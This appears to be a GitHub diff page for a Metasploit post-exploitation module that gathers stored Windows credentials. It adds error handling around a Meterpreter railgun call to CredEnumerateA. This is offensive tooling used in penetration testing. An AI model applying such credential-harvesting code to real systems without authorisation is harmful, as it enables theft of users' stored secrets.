File tree Expand file tree Collapse file tree 1 file changed +18
-7
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +18
-7
lines changed Original file line number Diff line number Diff line change @@ -178,14 +178,25 @@ def get_creds
178
178
credentials = [ ]
179
179
#call credenumerate to get the ptr needed
180
180
adv32 = session . railgun . advapi32
181
- ret = adv32 . CredEnumerateA ( nil , 0 , 4 , 4 )
182
- p_to_arr = ret [ "Credentials" ] . unpack ( "V" )
183
- if is_86
184
- count = ret [ "Count" ]
185
- arr_len = count * 4
181
+ begin
182
+ ret = adv32 . CredEnumerateA ( nil , 0 , 4 , 4 )
183
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
184
+ print_error ( "This module requires WinXP or higher" )
185
+ print_error ( "CredEnumerateA() failed: #{ e . class } #{ e } " )
186
+ ret = nil
187
+ end
188
+ if ret . nil?
189
+ count = 0
190
+ arr_len = 0
186
191
else
187
- count = ret [ "Count" ] & 0x00000000ffffffff
188
- arr_len = count * 8
192
+ p_to_arr = ret [ "Credentials" ] . unpack ( "V" )
193
+ if is_86
194
+ count = ret [ "Count" ]
195
+ arr_len = count * 4
196
+ else
197
+ count = ret [ "Count" ] & 0x00000000ffffffff
198
+ arr_len = count * 8
199
+ end
189
200
end
190
201
191
202
#tell user what's going on
You can’t perform that action at this time.
0 commit comments